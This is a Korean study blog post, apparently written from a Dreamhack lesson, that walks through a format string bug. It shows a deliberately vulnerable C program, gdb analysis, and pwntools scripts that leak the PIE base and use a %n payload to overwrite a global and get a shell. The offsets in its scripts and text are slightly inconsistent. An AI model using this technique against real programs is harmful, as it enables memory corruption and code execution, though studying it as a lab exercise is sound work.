[Pwnable] 14. Exploit Tech: Format String Bug

Wonder_Land🛕·2022년 11월 7일
0

[Pwnable]

목록 보기
14/21
post-thumbnail

[Reference] : 위 글은 다음 내용을 제가 공부한 후, 인용∙참고∙정리하여 만들어진 게시글입니다.


  1. 서론
  2. Format String Bug
  3. Q&A
  4. 마치며

1. 서론

포맷 스트링 버그를 사용하면 임의 주소 읽기 및 쓰기가 가능했습니다.

printf, fprintf, sprintf 함수와 같이, 포맷 스트링을 사용하는 함수를 사용할 때 포맷 스트링 버그를 사용할 수 있었습니다.

아래의 예제에서는, chageme의 값을 1337로 바꾸는 것입니다.

// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}

int changeme;

int main() {
  char buf[0x20];
  
  setbuf(stdout, NULL);
  
  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

2. Format String Bug

1) 분석

$ gcc -o fsb_overwrite fsb_overwrite.c
$ checksec fsb_overwrite
[*] '/home/dreamhack/fsb_overwrite'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

PIE, NX를 포함한 모든 보호 기법이 적용되어 있습니다.

get_string 함수를 통해 buf에 32바이트(0x20) 입력을 받습니다.
사용자가 입력한 bufprintf함수의 인자로 직접 사용하므로 포맷 스트링 버그 취약점이 있습니다.


2) 익스플로잇 설계

(1) changeme 주소 구하기

changeme의 값을 조작하려면 해당 변수의 주소를 먼저 알아야 합니다.
바이너리에는 PIE 보호 기법이 적용되어 있으므로, 전역 변수인 changeme의 주소는 실행할 때마다 바뀝니다.

따라서, PIE 베이스 주소를 먼저 구하고, 그 주소를 기준으로 changeme의 주소를 계산해야 합니다.

(2) changeme를 1337로 설정하기

get_string으로 changeme의 주소를 스택에 저장하면, printf 함수에서 %n으로 changeme의 값을 조작할 수 있습니다.

1337 바이트의 문자열을 미리 출력하고, 위 방법으로 changeme에 값을 쓰면 가능합니다.


(3) changeme 주소 구하기

disassemble main명령어를 통해 printf함수가 호출되는 오프셋을 찾고, 해당 위치에 브레이크포인트를 설정합니다.

run명령어를 통해 프로그램을 실행하면,
get_string 함수에서 입력을 받습니다.

아무런 값이나 입력한 후, 브레이크포인트가 걸리면
rsp+80x555555555310이 저장되어 있음을 알 수 있습니다.
([강의 자료]에는 rsp+160x555555554970로 설정되었습니다.)

0x555555555310는 코드 영역에 포함되므로, 이 주소를 이용하면 PIE 베이스 주소를 구할 수 있습니다.

x64환경에서 printf 함수는 rdi에 포맷 스트링을, rsi, rdx, rcx, r8, r9, 스택 순으로 포맷 스트링의 인자를 전달합니다.

다음 표는 printf 함수 호출 직전 레지스터와 스택에 저장된 값입니다.

포맷 스트링 인자
RSI0x7fffffffdf70
rdx0x4
rcx0x7ffff7ed8fd2
r80x0
r90x7ffff7fe0d60
rsp'1234'
rsp+80x555555555310 (__libc_csu_init)

gdbvmmap을 활용하면, rsp+8에 저장된 값과 PIE 베이스 주소의 기준 주소의 차이가 0x310임을 알 수 있습니다.
(0x555555555310 - 0x555555555000 = 0x310)

pwndbg> vmmap
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
/home/ciment1010/Dreamhack/OOB/fsb_overwrite/fsb_overwrite
    0x555555555000     0x555555556000 r-xp     1000 1000   /home/ciment1010/Dreamhack/OOB/fsb_overwrite/fsb_overwrite

%7$p로 출력한 주소에서 0x310을 빼고,
changeme의 오프셋을 더하면 changeme의 주소를 구할 수 있습니다.

이를 이용해서 익스플로잇 코드를 작성할 수 있습니다.

# Name: get_changeme.py
#!/usr/bin/python3

from pwn import *

def slog(n, m): return success(": ".join([n, hex(m)]))

p = process("./fsb_overwrite")
elf = ELF("./fsb_overwrite")

context.arch = "amd64"

# [1] Get Address of changeme
p.sendline("%7$p") # FSB
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - elf.symbols["__libc_csu_init"]
changeme = code_base + elf.symbols["changeme"]

slog("code_base", code_base)
slog("changeme", changeme)
python3 tmp.py
[+] Starting local process './fsb_overwrite': pid 580
[+] code_base: 0x5618fd31b000
[+] changeme: 0x5618fd51c01c

(4) 1337 길이의 문자열 출력

%n은 현재까지 출력된 문자열의 길이를 인자에 저장합니다.

따라서 해당 형식 지정자로 changeme 변수로 하고 1337이라는 값을 쓰기 위해서는,
먼저 1337 길이의 문자열을 출력해야 합니다.

그러나 코드 상에서 보면, 입력받는 길이를 0x20으로 제한하고 있습니다.

이럴 때는 직접 문자열을 쓸 수 없으므로, 포맷 스트링의 'width' 속성을 사용할 수 있습니다.

포맷 스트링의 width는

  1. 출력의 최소 길이 지정
  2. 출력할 문자가 최소 길이보다 작다면, 그만큼 패딩 문자를 추가

해줍니다.

// Name: fsb_minwidth.c
// Compile: gcc -o fsb_minwidth fsb_minwidth.c

int main() {
  printf("%10d\n", 123);
  printf("%20c\n", 'A');
}
$ ./fsb_minwidth
       123
                   A

위의 코드에서는 최소 길이를 각각 10, 20로 지정하고, 출력을 할 때 모자란 부분을 패딩 문자로 추가하여 출력했습니다.

따라서 우리는 %{N}c꼴로 width 속성을 이용할 것입니다.


(5) changeme 덮어쓰기

changeme 변수의 주소를 알고, 1337길이를 갖는 문자열을 출력할 수도 있게 되었습니다.

다음과 같이 포맷 스트링을 구한다면, chageme의 값을 1337로 쓸 수 있습니다.

%1337c %8$n AAAAAA changeme
------ --__ ______ --------

첫번째 부분은 1337이라는 값을 쓸 수 있게, 1337 길이의 문자열을 width 속성을 이용하여 출력합니다.

두번째 부분은 포맷 스트링의 8번째 인자에 값을 쓰기 위한 %n입니다.

왜 8번째 인자일까요...
우리가 입력한 값은 rsp에 저장됩니다.
위의 표에서 보면 알 수 있듯이, rsp는 포맷 스트링 인자에서 6번째입니다.

그리고 페이로드에서 %1337c, %8$n으로 인해 오프셋이 2번 밀려서 changeme 변수의 주소의 오프셋이 8번째가 됩니다.
(6(rsp) + 2(%1337c, %8$n) = 8)

세번째 부분은 패딩 문자입니다.
우리는 위의 포맷 스트링을 페이로드로 구성하여 패킹(p64)하여 전달할 것입니다.
이 때, 패킹할 문자열은 8바이트 단위가 되어야 합니다.

따라서 부족한 바이트를 보충하기 위해 패딩 문자를 추가한 것으로, 익스플로잇 자체에 영향을 주지 않습니다.

마지막 부분은 7번째 인자인 changeme 변수의 주소입니다.

# Name: get_changeme.py
#!/usr/bin/python3

from pwn import *

def slog(n, m): return success(": ".join([n, hex(m)]))

p = process("./fsb_overwrite")
elf = ELF("./fsb_overwrite")

context.arch = "amd64"

# [1] Get Address of changeme
p.sendline("%8$p") # FSB
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - elf.symbols["__libc_csu_init"]
changeme = code_base + elf.symbols["changeme"]

slog("code_base", code_base)
slog("changeme", changeme)

# [2] Overwrite changeme
payload = "%1337c" # 1337을 min width로 하는 문자를 출력해 1337만큼 문자열이 사용되게 합니다.
payload += "%8$n" # 현재까지 사용된 문자열의 길이를 8번째 인자(p64(changeme)) 주소에 작성합니다.
payload += "A"*6 # 8의 배수를 위한 패딩입니다.
payload = payload.encode() + p64(changeme) # 페이로드 16바이트 뒤에 changeme 변수의 주소를 작성합니다.

p.sendline(payload)
p.interactive()
 $ python3 get_changeme.py 
[*] 'fsb_overwrite'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] code_base: 0x55ae29588000
[+] changeme: 0x55ae2978901c
[*] Paused (press any to continue)
[*] Switching to interactive mode
...                                                           @AAAAAA\x1cx)\xaeU

3. Q&A

1) printf vs fprintf vs sprintf

(1) printf

  • printf
int printf(const char *format-string, argument-list);

일반적으로 printf는 포맷 스트링과 문자열을 매개변수로 합니다.

가장 먼저 접하는 함수이며 많이 사용하는 함수이지만 사실 굉장히 복잡한 매커니즘을 가진 함수입니다.

간략히 하면, printf는 서식화된 문자열을 표준 출력(stdout, Standard Output)에 보내는 것입니다.

함수의 원형을 보면, const char *형 문자열(format string)과 매개변수 목록을 사용합니다.

이 포맷 스트링은 큰따옴표(")로 묶인 문자열 상수를 의미합니다.

매개변수 목록은 문자열 상수에서 지정된 형식의 매개변수가 순서대로 들어갑니다.
(여기서 '형식'은, 형식 지정자를 의미합니다.)

자세히 보면, 형식 지정자에는 %type만 있는 것이 아닙니다.

  1. flags : 부호(+, - : 오른쪽 / 왼쪽 정렬), 정수 접두사(0b, 0x) 등
  2. width : 출력될 문자열의 최소 길이
  3. precision : 문자열, 부동 소수점의 소수점의 최대 자릿수 또는 최소 자리수 지정
  4. prefix : 인수의 크기 지정(float : %f, double : %lf)
  5. type : 출력할 내용의 자료형(d, c)

(2) fprintf

  • fprintf
int fprintf(FILE *stream, const char *format-string, argument-list);

printf에서 f가 접두어로 붙었는데, file이라고 봐도 무방합니다.

첫 번째 인자로, FILE *stream이 옵니다.

이는 형식 문자열이 출력될 '파일 포인터'를 의미합니다.
물론, 표준 스트림(stdout)으로 지정하면, printf와 동일한 동작을 수행합니다.

파일에 서식화된 문자열을 출력한다는 점외에는, printf와 큰 차이는 없습니다.

정상적으로 동작하면, 반환값으로 출력된 바이트 개수를 반환하고,
비정상적으로 동작하면, 반환값으로 음수를 반환합니다.
따라서, 조건문으로 검사한다면 제대로 동작했는지 확인 할 수 있습니다.

일반적으로 파일 스트림과 관련하여 사용하기 때문에,
사용하기 전에 파일 포인터가 제대로 열렸는지 확인하는 것이 좋습니다.


(3) sprintf

  • fprintf
int sprintf(char *buffer, const char *format-string, argument-list);

sprintf 역시 printf와 비슷하게 동일한 문자열 서식 및 매개변수 목록을 사용하고, 반환값도 출력된 바이트 개수를 반환합니다.

첫 번째 인자를 보면, fprintfFILE *stream과 달리,
char *형 변수가 옵니다.

이는 배열로 이루어진 버퍼에서 일련의 서식 문자열을 입력하는 함수입니다.

즉, 파일이나 화면에 출력하는 것이 아니라,
변수(buffer)에 문자열을 출력합니다.

중요한 점은, 여기서 변수는 배열로 이루어져 있다는 것입니다.

C++에는 string이라는 자료형이 있지만, C에는 char형을 통해 문자열을 처리합니다.

char *을 통해 문자열 상수를 선언하거나 char[]를 통해 수정 가능한 문자열을 선언합니다.
그리고 <string.h>를 이용해 문자열을 처리합니다.

이 때, 문자열 상수는 선언 한 후 내용을 변경할 수 없으므로, 배열로 선언된 char []형을 주로 사용하는데,
sprintf는 이 문자열에 서식화된 문자열을 할당 할 수 있는 함수입니다.

<string.h>strcpy 등 함수를 사용하면 배열에 문자열을 할당할 수 있지만, 이는 서식화되어 있지 않습니다.

따라서 sprintf를 사용하면 printf를 사용하여 화면에 출력하듯, 문자열 배열에 서식화된 문자열을 할당 할 수 있습니다.

#include <stdio.h>

int main(){
	int age = 20;
    char name[20] = "Wonder_Land";
    char string[100];
    
    sprintf(string, "Hello! My name is %s. And i\'m %d years old!", name, age);
    printf("%s", string);
    
    return 0;
}

[Result]
Hello! My name is Wonder_Land. And i'm 20 years old!


2) vmmap

gdb에서 자주 사용하는 명령어입니다.

파일이 가상 메모리 상에서 매핑된 정보를 출력해줍니다.

출력된 결과를 보면 stack, heap, code ,data, rwx, rodata와 같이, 저장 공간별로 할당된 정보를 출력합니다.

또한 각 영역별로 읽기/쓰기/실행 권한도 확인 할 수 있습니다.

특정 주소, 라이브러리 이름을 옵션으로 활용하면, 해당 부분만 따로 확인할 수 있습니다.

또한, 읽기 가능한 / 실행 가능한 영역도 옵션(-w/--writable, -x/--executable)을 활용하여 확인할 수 있습니다.)

따라서, 우리가 찾는 변수나 함수가 어떤 영역에 저장되어 있는지 확인할 수 있겠죠.

만약 어떤 변수가 코드 영역에 있고, 쓰기가 가능한 공간이라면 값을 수정할 수 있겠죠?

pwndbg> vmmap --help
usage: vmmap [-h] [-w] [-x] [gdbval_or_str]

Print virtual memory map pages. Results can be filtered by providing address/module name.

Memory pages on QEMU targets may be inaccurate. This is because:
- for QEMU kernel on X86/X64 we fetch memory pages via `monitor info mem` and it doesn't inform if memory page is executable
- for QEMU user emulation we detected memory pages through AUXV (sometimes by finding AUXV on the stack first)
- for others, we create mempages by exploring current register values (this is least correct)

Memory pages can also be added manually, see vmmap_add, vmmap_clear and vmmap_load commands.

positional arguments:
  gdbval_or_str     Address or module name.

optional arguments:
  -h, --help        show this help message and exit
  -w, --writable    Display writable maps only (default: False)
  -x, --executable  Display executable maps only (default: False)

저는 헷갈렸던 명령어가 readelf인데, elf 파일 자체의 정보를 출력해줍니다.
이 명령어는 리눅스 자체의 명령어이므로, gdb에서는 사용할 수 없습니다.
(당연하네요...😢)


4. 마치며

포맷 스트링 버그......

이해하는 것 자체도 엄청 오래 걸렸습니다.

도저히 포맷 스트링을 이해하는 것 부터 예제로 살펴본 문제들도 보는데 이해 자체를 못했습니다....😢

페이로드로 주는 포맷 스트링을 보는데 진짜 이 표정이었네요..😐('뭐 어쩌라는거여....?')

%n은 뭐여... 오프셋이 왜 거기서 나와... 패딩은 또 왜주는거야... 아니 방금까지 오프셋이 6이라며 왜 갑자기 8로 주는데...등등 이 과정의 반복이었습니다.

뭔 말인지도 모르겠고, 뭘 원하는지도 모르겠고 어후....🤬🤬🤬🤬🤬🤬

너무 힘들었네요.

정말 많은 자료들을 보면서 '아 뭔 🐶소리야....'를 반복하다보니 이제 아주 조금 익숙해진 기분입니다.

컴퓨터를 공부하면 그런 말이 있죠..
'공부를 하다가 모르는 부분이 있으면 일단 넘어가라. 그러다가 갑자기 이해가 되는 순간이 올 것이다.'

이 말은 정말 맞는 것 같습니다😂

여러 삽질을 반복하면서 넘겨본 것들이,
갑자기 생각나면서 하나의 결론으로 도달하는 순간이 오는데 참 신기합니다🤔

이제 드림핵 포맷 스트링 버그 예제들로 삽질을 해보면서 포맷 스트링 버그를 다시 공부해보겠습니다... 엉엉ㅠㅠㅠㅠㅠ


[Reference] : 위 글은 다음 내용을 제가 공부한 후, 인용∙참고∙정리하여 만들어진 게시글입니다.

profile
아무것도 모르는 컴공 학생의 Wonder_Land

0개의 댓글